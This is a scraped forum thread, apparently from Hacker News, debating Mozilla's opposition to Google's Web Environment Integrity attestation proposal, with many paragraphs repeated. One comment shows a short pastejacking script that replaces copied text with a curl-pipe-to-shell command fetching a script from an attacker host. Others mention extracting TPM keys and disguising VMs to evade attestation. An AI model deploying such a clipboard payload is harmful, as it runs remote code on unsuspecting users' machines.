However, dollars are fungible. If you donate $500 to support MDN, that may replace $500 for MDN coming from revenue, which frees up $500 to go into something else, like a C-Suite's pocket, or Pocket or whatever. So while your dollars go where you said, it still enables whatever you didn't like. OTOH, if you donate $50B to support MDN, that's a bit different; it certainly frees up whatever money was going to support MDN before, but there wasn't $50B of MDN expense, so the excess beyond the needs of MDN doesn't go anywhere.
It's not a co-operative, just a non-profit. The devs are employees of the corporation just like for any other company. Honestly, I think the company makes good revenue and don't rely too much on donations. Using their products and being their customer is probably more valuable to them and their manifesto.
The closest thing right now is to pay for one of the products. Pocket Premium, Firefox Relay, Mozilla VPN.
Company finance income streams are rarely ringfenced like that.
They might appose it, but if it ships in Chrome and starts being actively used they will also implement it, just like CDM.
At the end of the day, users will just see that a website works in Chrome and not in Firefox. Firefox will decide that there is no point in apposing it if there is a real cost in potential market-share.
At the end of the day, users will just see that a website works in Chrome and not in Firefox. Firefox will decide that there is no point in apposing it if there is a real cost in potential market-share.
> At the end of the day, users will just see that a website works in Chrome and not in Firefox. Firefox will decide that there is no point in apposing it if there is a real cost in potential market-share.
Remind me, how has that strategy worked out for their market share? Perhaps the market for I-Can't-Believe-It's-Not-Chrome isn't actually that big since those users don't have a problem with just using Chrome.
Remind me, how has that strategy worked out for their market share? Perhaps the market for I-Can't-Believe-It's-Not-Chrome isn't actually that big since those users don't have a problem with just using Chrome.
Worth also noting is WebKit's standards positions at
https://webkit.org/standards-positions/
(this one has not landed yet, likely to be opposed as well)
https://webkit.org/standards-positions/
(this one has not landed yet, likely to be opposed as well)
There is a long history of hackers—in the classic sense—using computers to do things other people don't want them to do, and those other people unable to do anything about it (or, at best, engaging in an arms race with the hackers). This has been bad for those other people but overall very good for society. It is what birthed GNU, "IBM Compatible", ad blockers, Firefox, BitTorrent, YouTube ReVanced/youtube-dl, and so much more.
The goal of device attestation for consumer software is to put an end to that. Originally pioneered by Apple on iOS, now making its way to all of computing thanks to the forces of capitalism, device attestation means that the hackers lose. It is the bad ending.
The other twin threat, and I hate to say it, is the software industry sorting its security story out. In the past iOS jailbreaks used to be common, but there hasn't been an iOS jailbreak in a year. Rust isn't helping.
We are hurtling towards a world where producers and IP holders have complete control over the content they produce, and use leading-edge cryptography and ultra-secure consumer-hostile software to keep it that way. This is one of the most dangerous developments to ever happen in all of history, and once it's real there's no going back.
Stallman was right.
The goal of device attestation for consumer software is to put an end to that. Originally pioneered by Apple on iOS, now making its way to all of computing thanks to the forces of capitalism, device attestation means that the hackers lose. It is the bad ending.
The other twin threat, and I hate to say it, is the software industry sorting its security story out. In the past iOS jailbreaks used to be common, but there hasn't been an iOS jailbreak in a year. Rust isn't helping.
We are hurtling towards a world where producers and IP holders have complete control over the content they produce, and use leading-edge cryptography and ultra-secure consumer-hostile software to keep it that way. This is one of the most dangerous developments to ever happen in all of history, and once it's real there's no going back.
Stallman was right.
Well put. In practice, all this attestation crap is just DRM, as far as I can tell. It’s of course being marketed as an opt-in thing which can “improve your experience”. Similar to how giving your wallet away at gunpoint can improve your happiness.
Functionally it's a protection racket. In exchange for protecting your devices from small, low frequency risks like evil maid attacks or whatever, you are uniquely identified for the purposes of DRM and advertising.
It's not really optional. At least, not unless you consider online banking to be optional.
It's not really optional. At least, not unless you consider online banking to be optional.
You personally get protected from low frequency massive impact risks.
Website owners get protected from an ever increasing amount of malicious content. Now nearly impossible to detect thanks to LLMs. In theory you should be able to see the appeal that has.
Website owners get protected from an ever increasing amount of malicious content. Now nearly impossible to detect thanks to LLMs. In theory you should be able to see the appeal that has.
Ironically, the biggest potential impediment to this is Apple. It is the fact that iOS is a walled garden where the website owner can’t just say “Install Chrome and come back” unless they want to lose a lot of potential users.
Of course, on that platform they can just say "install our app and come back" for the same basic effect.
Reddit does this with "install our app" on its mobile website.
>Reddit does this with "install our app" on its mobile website.
Who? Oh you mean digg v3?
Who's digg? Exactly....
Who? Oh you mean digg v3?
Who's digg? Exactly....
Number one reason why I do not turn JavaScript on, and I will definitely block WebInegrityAPI indefinitely.
Basic malware JavaScript snippet:
Basic malware JavaScript snippet:
<script>
document.getElementById('copy').addEventListener('copy', function(e) {
e.clipboardData.setData('text/plain',
'curl http://attacker-domain:8000/shell.sh | sh\n'); e.preventDefault();
});
</script>If you are working in a shell like that you should have outbound ports locked down and a list of allowed domains set in your proxy. Add in some antivirus and password sudo check and plenty of ways to catch this
Thats why i have a lexical and intermediate representative (IR) code examiner of JavaScript running as an ICAP server capturing all HTTP/HTTPS connections.
No fear, there.
No need for all that other things.
No fear, there.
No need for all that other things.
This particular attack is actually not a concern if you're using fish (or zsh for that matter I think), as it will not execute pasted content without an additional pressing of the enter key.
It's still a concern because there will be users reflexively pressing enter without checking what they pasted if it's the expected value most of the time.
Meanwhile there is zero benefit for letting websites manipulate the clipboard or intercept basic browser interactions. This might make sense for applications but that's just another argument why those shouldn't be forced into the same browser as websites.
Meanwhile there is zero benefit for letting websites manipulate the clipboard or intercept basic browser interactions. This might make sense for applications but that's just another argument why those shouldn't be forced into the same browser as websites.
Yeah, I'm disappointed there's no permission toggle so that I could have javascript-based clipboard setting behind a prompt on most websites and have exceptions for others.
Sound like an enhancement feature request for NoScript or UBlock Origin, no?
Bash also buffers pasted content.
Stop using Chrome.
Viewing the web as a platform for delivering applications, Web Integrity is an obviously good thing that I personally would use as a developer who makes software people pay for.
The opposition listed here is mostly misguided. For example, there is ~0% chance Google breaks "screen readers" or "assistive technologies" with Web Integrity. Saying that they would break seems like a bad faith argument to me.
Fundamentally this is about DRM and whether or not you think it should be allowed. I believe optional DRM for web applications would be good for developers and users of the apps. It would be bad for most other entities (crawlers, scrapers, criminals, etc). So I am in favor of it.
The opposition listed here is mostly misguided. For example, there is ~0% chance Google breaks "screen readers" or "assistive technologies" with Web Integrity. Saying that they would break seems like a bad faith argument to me.
Fundamentally this is about DRM and whether or not you think it should be allowed. I believe optional DRM for web applications would be good for developers and users of the apps. It would be bad for most other entities (crawlers, scrapers, criminals, etc). So I am in favor of it.
If people are paying for the software, then they should be able to use the software as they wish.
If you were selling a towel, you wouldn't put restrictions on someone wetting it and using it for hand to hand combat, would you?
If you were selling a towel, you wouldn't put restrictions on someone wetting it and using it for hand to hand combat, would you?
If it were possible to manufacture towels that couldn't easily be stolen from hotels, then yes I would want that to be allowed. Hotels would like it, and guests who do not steal would benefit from lower prices.
And more directly yes I would want exactly what you're describing to be possible. We do this with alcohol so that rubbing alcohol can be sold at a reasonable price.
And more directly yes I would want exactly what you're describing to be possible. We do this with alcohol so that rubbing alcohol can be sold at a reasonable price.
It's possible. You just need to start manufacturing CCTVs, and encourage hotels to install them in their bathrooms to lower costs!
Accessibility isn't just about screen readers. I use extensions to alter page CSS to fix text sizes, contrast, fix Reader Mode, etc. With the Integrity API these could be blocked by the website.
Yeah, the benefits here are pretty cool to think about. The ability to say "you can't access this sensitive web resource until you attest that your system is up to date and an antivirus has run in the last week" is huge. The problem is that sites could also say "and you don't have an adblocker installed".
One option would potentially be to only allow positive assertions - ie: "You are up to date" not "you are not running this". TBH I think that would address a major concern for me.
One option would potentially be to only allow positive assertions - ie: "You are up to date" not "you are not running this". TBH I think that would address a major concern for me.
To the people saying "stop using Chrome", I don't think you understand the situation. Using a non-Chrome browser does not protect you from this proposal. If anything, worst case it will force you to use Chrome for specific websites, say a bank. So unless 3 billion people switch browsers overnight, avoiding Chrome does not make this go away.
You gotta start somewhere. Throwing up your hands and saying you're not switching because no one else will isn't great.
I've used Firefox as my primary browser since it was Phoenix. Before that I used Netscape Communicator. It's not hard and I'm not missing out on anything.
I've used Firefox as my primary browser since it was Phoenix. Before that I used Netscape Communicator. It's not hard and I'm not missing out on anything.
You're not wrong, and I'm a Firefox user as well.
But as it comes to the urgent matter of stopping this proposal in its tracks, switching browsers won't do it.
It requires other methods of immediate protest.
But as it comes to the urgent matter of stopping this proposal in its tracks, switching browsers won't do it.
It requires other methods of immediate protest.
IMHO, Apple has a very good opportunity to open-source Safari. If Safari were to become cross platform, out would surely help in fighting Google Chrome's dominance.
Although I do agree that means there's less competition in the browser engine world.
Although I do agree that means there's less competition in the browser engine world.
Safari uses webkit as the engine, which is FOSS. I mean, yes, I'd also like them to open source the whole thing and make it portable, but the engine is the hard part.
You should be able to compile the GTK front end of WebKit nearly everywhere.
The Mac front end uses macOS APIs and Apply is super selective which ones they port to Windows and WebKit would force them to open source this.
The Mac front end uses macOS APIs and Apply is super selective which ones they port to Windows and WebKit would force them to open source this.
Look at the success of Chromium, Brave, etc.
Safari doesn't have a Windows or Android port.
Safari used to be actively developed and shipped on Windows before 2010.
It relied on large portions of AppKit/Cocoa ported to Windows though, and I don’t think Apple would be too keen to open source that too.
For it to make sense to open source Safari for Windows, they’d first have to pull out the AppKit bits and replace them with something else.
For it to make sense to open source Safari for Windows, they’d first have to pull out the AppKit bits and replace them with something else.
It is. See:
- https://webkit.org/
- https://github.com/WebKit/WebKit
Also see: https://en.wikipedia.org/wiki/WebKit#Origins
Also see: https://en.wikipedia.org/wiki/WebKit#Origins
Webkit isn't Safari, though it's close. A lot of integrations and some APIs Apple provides aren't available in Webkit.
You might want to read up on the history of WebKit...
Apple released Safari for Windows, and nobody used it, because it was awful[1]. So they stopped worrying about cross-platform.
[1] https://appleinsider.com/articles/12/07/25/apple_kills_windo...
[1] https://appleinsider.com/articles/12/07/25/apple_kills_windo...
It was...
"Vendor neutral" sometimes means that vendors have equal opportunity to screw the user.
{Platform-vendor/developer/end-user}-neutral is more like it.
{Platform-vendor/developer/end-user}-neutral is more like it.
So imagine you have a separate slot in your desktop/laptop occupied by a secondary single board computer of sufficient power to run your banks website or other secure operations. Since you are going to use it to git push to import repos or move money you give two shits if it has much in the way of customization.
You hit a physical button and an internal kvm switches usb input and displayport out between primary and secondary machine. There is no shared clipboard or way for data to be intentionally be shared between machines and nothing to distinguish this setup from any other "secure" setup to disallow its use. It ticks the correct boxes to meet the described intent of the feature and unlike a secure environment one is obliged to use for everything would actually be more secure as you have no good reason to install a bunch of software or browse random websites on the slower secure environment.
You hit a physical button and an internal kvm switches usb input and displayport out between primary and secondary machine. There is no shared clipboard or way for data to be intentionally be shared between machines and nothing to distinguish this setup from any other "secure" setup to disallow its use. It ticks the correct boxes to meet the described intent of the feature and unlike a secure environment one is obliged to use for everything would actually be more secure as you have no good reason to install a bunch of software or browse random websites on the slower secure environment.
You can try QubesOS, which does exactly this using virtual machines. Clipboard is not shared by default, you need to move the contents of the clipboard using yet another keystroke pair (so it's 4-salutes scheme: Ctrl-C, Ctrl-Shift-C, Ctrl-Shift-V, Ctrl-V to actually copy something between machines). App's windows are delineated with coloured borders which cannot be overridden from inside the VM.
There are major usability problems, mostly related to graphics (the protocol that forwards the windows is purposefully dumb and doesn't support 3D acceleration at all), but for things like browsing bank apps or even watching youtube it's enough.
There are major usability problems, mostly related to graphics (the protocol that forwards the windows is purposefully dumb and doesn't support 3D acceleration at all), but for things like browsing bank apps or even watching youtube it's enough.
> the protocol that forwards the windows is purposefully dumb and doesn't support 3D acceleration at all
This is a major reason I haven't tried QubesOS yet. Thanks to Nvidia I've seen what happens when you run a desktop with a browser without hardware acceleration and it sucks. CPU cores get pegged with basic scrolling or video playback and power consumption is simply unreasonable.
Perhaps if I were a human rights activist or a journalist I would use it, but I'm not.
This is a major reason I haven't tried QubesOS yet. Thanks to Nvidia I've seen what happens when you run a desktop with a browser without hardware acceleration and it sucks. CPU cores get pegged with basic scrolling or video playback and power consumption is simply unreasonable.
Perhaps if I were a human rights activist or a journalist I would use it, but I'm not.
You can also just use a Windows VM and forward the already-working TPM to it. With tools like Cassowary you can use Windows browsers through an app-only RDP connection, integrating the VM seamlessly. Hardware acceleration will be a bit more difficult, but for things like encoding or decoding video you can already forward virtual GPUs on most platforms if you get the configuration right.
I don't think you'll need to buy an SBC for this. A weekend of messing with virtual machines will be enough.
I don't think you'll need to buy an SBC for this. A weekend of messing with virtual machines will be enough.
This is fundamentally different on multiple fronts. Insofar as security if the host is compromised the VM has none because of the hosts control over the VM's environment. For the same reason anything that requires you to be in an authenticated environment is probably not going to accept an authenticated environment that is itself hosted in one that is not. The browser/system would assert that it isn't in the Matrix by testing naively by looking for the presence of VM specific information or devices and more securely by performing operations which must work differently in a vm see this post
https://stackoverflow.com/questions/39533/how-to-identify-th...
https://stackoverflow.com/questions/39533/how-to-identify-th...
Remote attestation is already available on big cloud providers and Windows runs virtualised on many servers across the world for remote work. Excluding all of those browsers would probably be problematic for almost every use case.
I don't think big websites will block every VM (especially since Microsoft has some kind of super secure browser implementation that uses virtualisation). You may need to make KVM fake HyperV, though.
I don't think big websites will block every VM (especially since Microsoft has some kind of super secure browser implementation that uses virtualisation). You may need to make KVM fake HyperV, though.
None of the consumer facing resources need to be accessible via your vm in the cloud because that isn't how users get to Content/Banking/Shopping/School/resources/communication they do so on their desktop OS. There is zero reason 99.9% of use cases couldn't or would bother to block "insecure" environments and not also block VMs running in insecure environments.
> You may need to make KVM fake HyperV, though.
Not even techies are farting around with virtual machines and hoping their fake virtualization tricks don't break this weak when they have important things to do much less 99.999% of planet earth. They might however be willing to press one button that perceptively from the user standpoint switches their screen to a different desktop that happens to be running on a different machine. The interface to this feature would be simple enough they wouldn't have to care to understand it.
Users Mental Model: press button and "special" browser pops up full screen where I can bank/spend money. Press button again and it goes back whatever they were doing.
> You may need to make KVM fake HyperV, though.
Not even techies are farting around with virtual machines and hoping their fake virtualization tricks don't break this weak when they have important things to do much less 99.999% of planet earth. They might however be willing to press one button that perceptively from the user standpoint switches their screen to a different desktop that happens to be running on a different machine. The interface to this feature would be simple enough they wouldn't have to care to understand it.
Users Mental Model: press button and "special" browser pops up full screen where I can bank/spend money. Press button again and it goes back whatever they were doing.
Virtual Windows machines with thin clients are used all over the world. Microsoft is even trying to make Window 11 an online-first platform according to news like https://www.theverge.com/2023/6/27/23775117/microsoft-window.... Some of these companies may run Windows on bare metal, but I doubt the majority of them doesn't do at least some server/workspace separation through VMs.
I know people want convenience. Anyone interested in convenience will just use Windows or macOS. They won't need to mess with VMs. This whole problem is only an issue for the small percentage of the population that wants to use their own weird operating systems, browsers, or addons.
If the need arises, someone will make a user friendly tool to do all this. Cassowary can do it today after following a step by step guide, they can also add their Web Integrity patches to those steps if they need to.
If you, as a user, want to have a special button that makes banking work without needing to know how or why, stick with proprietary operating systems. Linux isn't user friendly enough to accomplish this and it probably won't be for a while. The same is true if you want to watch your HD/4K streaming content without a huge struggle.
I know people want convenience. Anyone interested in convenience will just use Windows or macOS. They won't need to mess with VMs. This whole problem is only an issue for the small percentage of the population that wants to use their own weird operating systems, browsers, or addons.
If the need arises, someone will make a user friendly tool to do all this. Cassowary can do it today after following a step by step guide, they can also add their Web Integrity patches to those steps if they need to.
If you, as a user, want to have a special button that makes banking work without needing to know how or why, stick with proprietary operating systems. Linux isn't user friendly enough to accomplish this and it probably won't be for a while. The same is true if you want to watch your HD/4K streaming content without a huge struggle.
Why wouldn't the host and client be attested to be safe without letting arbitrary virtualization?
Friendly reminder to don't just comment and complain to Google, contact your antitrust authority today:
US:
- https://www.ftc.gov/enforcement/report-antitrust-violation
- [email protected]
EU:
- https://competition-policy.ec.europa.eu/antitrust/contact_en
- [email protected]
UK:
- https://www.gov.uk/guidance/tell-the-cma-about-a-competition...
- [email protected]
India:
- https://www.cci.gov.in/antitrust/
- https://www.cci.gov.in/filing/atd
Canada:
- https://www.competitionbureau.gc.ca/eic/site/cb-bc.nsf/frm-e...
US:
- https://www.ftc.gov/enforcement/report-antitrust-violation
- [email protected]
EU:
- https://competition-policy.ec.europa.eu/antitrust/contact_en
- [email protected]
UK:
- https://www.gov.uk/guidance/tell-the-cma-about-a-competition...
- [email protected]
India:
- https://www.cci.gov.in/antitrust/
- https://www.cci.gov.in/filing/atd
Canada:
- https://www.competitionbureau.gc.ca/eic/site/cb-bc.nsf/frm-e...
Thanks, it should be more common practice to make news more actionable, and not turn us into mere spectators.
How expensive would it be to rip the signing keys off the TPM? People used to do it to get free satellite TV but I imagine it's way more expensive now with the smaller transistor sizes
Doesn't every TPM use a unique key to prevent this exact thing happening? If you do rip the key off of it and publish it, they'd just blacklist that particular key as "compromised".
Rip the key off the cheapest android phone you can buy, or an old one after you've upgraded. Don't publish it - pass it to your rooted phone which can now use an emulated TPM.
I guess. But if the key stays private it could power a scraper or a proxy.
Just wondering just how expensive it really is to rip the key out (or to have access to the tools to do it)
Just wondering just how expensive it really is to rip the key out (or to have access to the tools to do it)
i have a question, and i understand perfectly well this is a horrible idea
but, is there an actual need to change how internet traffic operates? is there something currently broken?
but, is there an actual need to change how internet traffic operates? is there something currently broken?
Right now you can change how websites are displayed on your device, block ads, automate internet browsing and download content to keep it without the consent of the website which Google doesn't like.
With enough websites using this API to block "untrusted" devices, since Google is the one that decides who is "trusted" that gives them an iron grip on what you can use to browse the web.
If they decide to not grant your competing project "trusted" status, you now cannot build a competing device, OS, or browser. And since Google owns the most popular browser and one of the most popular OS that gives them little incentive to allow competition.
Without a "trusted" browser that can scrape the web you are also effectively blocked from building a competing search engine.
Basically this API serves to cement Google into a position of power.
With enough websites using this API to block "untrusted" devices, since Google is the one that decides who is "trusted" that gives them an iron grip on what you can use to browse the web.
If they decide to not grant your competing project "trusted" status, you now cannot build a competing device, OS, or browser. And since Google owns the most popular browser and one of the most popular OS that gives them little incentive to allow competition.
Without a "trusted" browser that can scrape the web you are also effectively blocked from building a competing search engine.
Basically this API serves to cement Google into a position of power.
right, i get that, but i was asking if there's something inherently wrong with the current setup, my assumption is no
If they wanted to oppose it they should have concentrated on being actual competition with marketshare, not checks notes selling VPN subscriptions and a bookmarking service.
[deleted]
Which Mozilla knows that they cannot do anything to stop Google anyway.
After all, Google is the one that pays their bills so either way Mozilla is beyond powerless.
After all, Google is the one that pays their bills so either way Mozilla is beyond powerless.
Google doesn't pay Mozilla's bills as a donation, they pay for traffic because they make money from it. Why does this make Mozilla powerless? Was Google successful, for example, in making Firefox not support all the things is does that allow for better Ads blocking?
https://github.com/gorhill/uBlock/wiki/uBlock-Origin-works-b...
https://github.com/gorhill/uBlock/wiki/uBlock-Origin-works-b...
At this point in time we can second guess the "they pay for traffic". AFAIK Firefox market share dropped significantly but Google payment stayed mostly the same. Maybe it is now more about not facing antitrust scrutiny, just like when Microsoft "invested" in Apple?
And speaking of Microsoft - I am using Thunderbird 102.6.1, since any newer version doesn't work for me with Outlook365 - MS OAuth implementation requires user agent to be accepted by some "administrator". Looks like great example of what we can expect from Google, even if that Web Integrity get delayed for few years. Mozilla really is powerless - either they cave in, like with video DRM - or their browser won't be useful as daily driver
And speaking of Microsoft - I am using Thunderbird 102.6.1, since any newer version doesn't work for me with Outlook365 - MS OAuth implementation requires user agent to be accepted by some "administrator". Looks like great example of what we can expect from Google, even if that Web Integrity get delayed for few years. Mozilla really is powerless - either they cave in, like with video DRM - or their browser won't be useful as daily driver
> Maybe it is now more about not facing antitrust scrutiny, just like when Microsoft "invested" in Apple?
Maybe, but what does that change? It might even be a stronger lever to pull than "we will stop sending you traffic". My point is that Google isn't donating money to Mozilla because it's nice, it pays for something (traffic / legal protection / whatever). I just don't see how the parent idea that Mozilla most comply with Google because Google "pays their bills" holds.
Maybe, but what does that change? It might even be a stronger lever to pull than "we will stop sending you traffic". My point is that Google isn't donating money to Mozilla because it's nice, it pays for something (traffic / legal protection / whatever). I just don't see how the parent idea that Mozilla most comply with Google because Google "pays their bills" holds.
Mozilla relented when EME made its way into browsers. Important websites didn't work on Firefox and users were unhappy.
If the same happens now with remote attestation (and I can totally see that happening on streaming websites), Mozilla will have to risk losing even more of their small user base or relent and make some version of the protocol.
If the same happens now with remote attestation (and I can totally see that happening on streaming websites), Mozilla will have to risk losing even more of their small user base or relent and make some version of the protocol.
Let's be real: If Firefox changed the default search engine it probably wouldn't even cause a blip to Google's traffic.
The real reason Google pays Mozilla is probably closer to "controlled opposition" or "antitrust shield".
The real reason Google pays Mozilla is probably closer to "controlled opposition" or "antitrust shield".
As I replied to one of the other comments - why does it matter? So let's say they're paying as an anti-trust shield. Does that make it a donation? Does that mean the Mozilla can't do things Google doesn't like?
> Was Google successful, for example, in making Firefox not support all the things is does that allow for better Ads blocking?
They're working on it see Manifest v3.
They're working on it see Manifest v3.
>Additionally, the use cases listed depend on the ability to “detect non-human traffic” which as described would likely obstruct many existing uses of the Web such as assistive technologies, automatic testing, and archiving & search engine spiders.
Assistive technologies will still work as the browsers implement platform's assistive APIs.
Automatic testing will still work because a developer isn't going to add restrictions to their own tests from their site. Unless they are testing if a captcha gets shown from an unsafe environment.
Archives, search engines, and spiders should already be respecting robots.txt. Site owners can already block those things if they don't want their site crawled.
>This means that no single party decides which form-factors, devices, operating systems, and browsers may access the Web.
The proposal allows anyone to become an attestor. There would not be a single attestor who you would have to prove your trustworthiness to.
Assistive technologies will still work as the browsers implement platform's assistive APIs.
Automatic testing will still work because a developer isn't going to add restrictions to their own tests from their site. Unless they are testing if a captcha gets shown from an unsafe environment.
Archives, search engines, and spiders should already be respecting robots.txt. Site owners can already block those things if they don't want their site crawled.
>This means that no single party decides which form-factors, devices, operating systems, and browsers may access the Web.
The proposal allows anyone to become an attestor. There would not be a single attestor who you would have to prove your trustworthiness to.
Most of this comment is misreading Mozilla's objections, but I want to specifically call this out.
> Assistive technologies will still work as the browsers implement platform's assistive APIs.
Assistive technologies and APIs on devices should not be beholden to the platform owners. It is a problem for disabled communities to need to ask permission to build technologies that make their lives better.
Native platform accessibility APIs are important because it's important for platforms to take steps to guarantee equitable access to sites and apps on their own platforms out of the box and for ordinary users who may not want to or be able to install additional software. However, officially supported native platform accessibility APIs are NEVER an excuse to remove the autonomy and agency of disabled communities.
This shows up all the time in multiple situations -- from Reddit's exemptions of nebulously defined accessibility apps from its API pricing to circumventing assistive technologies in the name of adblocking, to the current proposal. It is an attack on the autonomy and agency of vision impaired or low-mobility users to force them to use only "approved" APIs in order to build assistive technologies or to force them to ask permission before deploying their solutions. It positions the platform as a kind of benevolent dictator, giving the platform an inappropriate level of power and control over disabled communities that should be (when possible) dismantled rather than reinforced.
> Assistive technologies will still work as the browsers implement platform's assistive APIs.
Assistive technologies and APIs on devices should not be beholden to the platform owners. It is a problem for disabled communities to need to ask permission to build technologies that make their lives better.
Native platform accessibility APIs are important because it's important for platforms to take steps to guarantee equitable access to sites and apps on their own platforms out of the box and for ordinary users who may not want to or be able to install additional software. However, officially supported native platform accessibility APIs are NEVER an excuse to remove the autonomy and agency of disabled communities.
This shows up all the time in multiple situations -- from Reddit's exemptions of nebulously defined accessibility apps from its API pricing to circumventing assistive technologies in the name of adblocking, to the current proposal. It is an attack on the autonomy and agency of vision impaired or low-mobility users to force them to use only "approved" APIs in order to build assistive technologies or to force them to ask permission before deploying their solutions. It positions the platform as a kind of benevolent dictator, giving the platform an inappropriate level of power and control over disabled communities that should be (when possible) dismantled rather than reinforced.
>However, officially supported native platform accessibility APIs are NEVER an excuse to remove the autonomy and agency of disabled communities.
I strongly disagree. Being disabled doesn't mean that you should be able to bypass the security of any system.
Also proposals like this help reduce the amount of captchas disabled users get meaning that they may have a better experience using the web if this proposal is accepted.
I strongly disagree. Being disabled doesn't mean that you should be able to bypass the security of any system.
Also proposals like this help reduce the amount of captchas disabled users get meaning that they may have a better experience using the web if this proposal is accepted.
> Being disabled doesn't mean that you should be able to bypass the security of any system
Correct, but only in the sense that everyone should have the right to bypass attestation checks, not just disabled users.
> proposals like this help reduce the amount of captchas disabled users get
Citation needed. Chrome's implementation of this API ties directly in the Play Integrity API. I am skeptical that style of attestation will have any measurable impact on the ability to automate requests from an Android phone, and I am skeptical that websites will actually reduce captchas rather than just add attestation requirements alongside them.
Even if it did reduce captchas (which to be clear, it probably won't) disability accommodation should not be conditional. Low vision and low mobility users who run custom ROMs also deserve to access the web. If the level of captchas that are thrown in front of low vision users are problematic or inaccessible, that's a conversation we need to have about captchas more generally. It's not an excuse to restrict those users' autonomy over their computers.
Correct, but only in the sense that everyone should have the right to bypass attestation checks, not just disabled users.
> proposals like this help reduce the amount of captchas disabled users get
Citation needed. Chrome's implementation of this API ties directly in the Play Integrity API. I am skeptical that style of attestation will have any measurable impact on the ability to automate requests from an Android phone, and I am skeptical that websites will actually reduce captchas rather than just add attestation requirements alongside them.
Even if it did reduce captchas (which to be clear, it probably won't) disability accommodation should not be conditional. Low vision and low mobility users who run custom ROMs also deserve to access the web. If the level of captchas that are thrown in front of low vision users are problematic or inaccessible, that's a conversation we need to have about captchas more generally. It's not an excuse to restrict those users' autonomy over their computers.
> The proposal allows anyone to become an attestor. There would not be a single attestor who you would have to prove your trustworthiness to.
And websites get to choose which attestors they accept. For an attestor to do what they are expected to do, they need control of everything from the TPM up. This means there will be effectively 3 attestors - the major operating system vendors.
And websites get to choose which attestors they accept. For an attestor to do what they are expected to do, they need control of everything from the TPM up. This means there will be effectively 3 attestors - the major operating system vendors.
>There would not be a single attestor who you would have to prove your trustworthiness to.
Either this protocol is useless for its intended purpose, or banks will only accept a small handful of attestors that promise not to sign for environments where the owner has control. Being able to create a new attestor means nothing because attestation is not valuable without pre-established trust.
The fraud prevention use case requires that the browser matches what Google or Mozilla shipped, not what I choose to actually run. From 10,000 feet in the sky, there's zero difference between, say, someone who installed modified software on their phone to protect their privacy and someone who was tricked into installing malware[0]. Banks don't care about your freedom, they care about making your fraud someone else's fault.
Some of the use cases explicitly call for locking the owner out of their device too. Anticheat in games is treated as at least beneficial to honest users, but it can still be user hostile[1]. Click fraud detection shouldn't even be something that a USER agent cares about - and it's not like Google cares about that anyway[2].
Practically speaking the only Linux distros that will get an attestor that anyone will actually care about will be Chrome OS and Play-certified Android. At best, Google agrees to attest for Chrome and Firefox on non-Chrome-OS Linux and it winds up being like EME did. At worst everyone has to buy a Windows license just to use most websites anymore.
>Assistive technologies will still work as the browsers implement platform's assistive APIs.
At least until someone says "we need to keep content from being data mined for AI training[3]" and AI scrapers find out how to automate those APIs. The underlying power dynamic of attestation means that websites can just demand attestors ban screen readers, in the same way that ebook DRM already does.
[0] Casual reminder that Louis Rossman was harassed by the GrapheneOS developer for agreeing with someone that the developer asserted had harassed them. He uninstalled GrapheneOS specifically to avoid being pwned by its developer.
[1] Let me remind you of the insane cat-and-mouse game where cheaters went into the kernel, so now anticheat is in the kernel, and now cheaters find vulns in the anticheat to hide their cheats in, which now malware can use as well.
[2] https://www.theregister.com/2023/06/29/google_trueview_skept...
[3] Reddit
Either this protocol is useless for its intended purpose, or banks will only accept a small handful of attestors that promise not to sign for environments where the owner has control. Being able to create a new attestor means nothing because attestation is not valuable without pre-established trust.
The fraud prevention use case requires that the browser matches what Google or Mozilla shipped, not what I choose to actually run. From 10,000 feet in the sky, there's zero difference between, say, someone who installed modified software on their phone to protect their privacy and someone who was tricked into installing malware[0]. Banks don't care about your freedom, they care about making your fraud someone else's fault.
Some of the use cases explicitly call for locking the owner out of their device too. Anticheat in games is treated as at least beneficial to honest users, but it can still be user hostile[1]. Click fraud detection shouldn't even be something that a USER agent cares about - and it's not like Google cares about that anyway[2].
Practically speaking the only Linux distros that will get an attestor that anyone will actually care about will be Chrome OS and Play-certified Android. At best, Google agrees to attest for Chrome and Firefox on non-Chrome-OS Linux and it winds up being like EME did. At worst everyone has to buy a Windows license just to use most websites anymore.
>Assistive technologies will still work as the browsers implement platform's assistive APIs.
At least until someone says "we need to keep content from being data mined for AI training[3]" and AI scrapers find out how to automate those APIs. The underlying power dynamic of attestation means that websites can just demand attestors ban screen readers, in the same way that ebook DRM already does.
[0] Casual reminder that Louis Rossman was harassed by the GrapheneOS developer for agreeing with someone that the developer asserted had harassed them. He uninstalled GrapheneOS specifically to avoid being pwned by its developer.
[1] Let me remind you of the insane cat-and-mouse game where cheaters went into the kernel, so now anticheat is in the kernel, and now cheaters find vulns in the anticheat to hide their cheats in, which now malware can use as well.
[2] https://www.theregister.com/2023/06/29/google_trueview_skept...
[3] Reddit
>Being able to create a new attestor means nothing because attestation is not valuable without pre-established trust.
It means that each site can choose who they trust instead of their being a single entity dictating what users are secure or not.
>Click fraud detection shouldn't even be something that a USER agent cares about
But it is something that the web standard should think about in order to make the web a better place.
>Practically speaking the only Linux distros that will get an attestor that anyone will actually care about will be Chrome OS and Play-certified Android.
I disagree. There are several Linux distros that support secureboot showing that Linux distros are capable of showing they are trustworthy enough to Microsoft.
It means that each site can choose who they trust instead of their being a single entity dictating what users are secure or not.
>Click fraud detection shouldn't even be something that a USER agent cares about
But it is something that the web standard should think about in order to make the web a better place.
>Practically speaking the only Linux distros that will get an attestor that anyone will actually care about will be Chrome OS and Play-certified Android.
I disagree. There are several Linux distros that support secureboot showing that Linux distros are capable of showing they are trustworthy enough to Microsoft.
> But it is something that the web standard should think about in order to make the web a better place.
In what way does it make the web a better place?
In what way does it make the web a better place?
> In what way does it make the web a better place?
Less (LLM-generated) spam.
Less (LLM-generated) spam.
LLM-generated spam is trivial to automate inside of a normal browser. The level of restriction that Google is discussing will not have an impact on the ability to mass-post GPT results to Reddit.
----
It's worth considering that the examples that come up over and over again when people try to defend this proposal are a strong reason to believe that Google is lying or being naive when it says that the proposal won't eventually impact extensions or the ability to inspect 3rd-party code.
Because OS-level restrictions that ignore extensions and runtime modifications to websites and scriptable browsers won't help with any of these problems. And if advocates are willing to so quickly say today, "there's LLM spam, so sure, lock down the OS", they are also going to say in the future, "there's still LLM spam, the problem is worse than ever, lock down the extensions."
If you believe that blocking bots justifies attacking user agency, there's no reason to stop at blocking users from rooting their phones. The actual impactful attacks on user agency for blocking bots would be to block website inspection and website modification.
----
It's worth considering that the examples that come up over and over again when people try to defend this proposal are a strong reason to believe that Google is lying or being naive when it says that the proposal won't eventually impact extensions or the ability to inspect 3rd-party code.
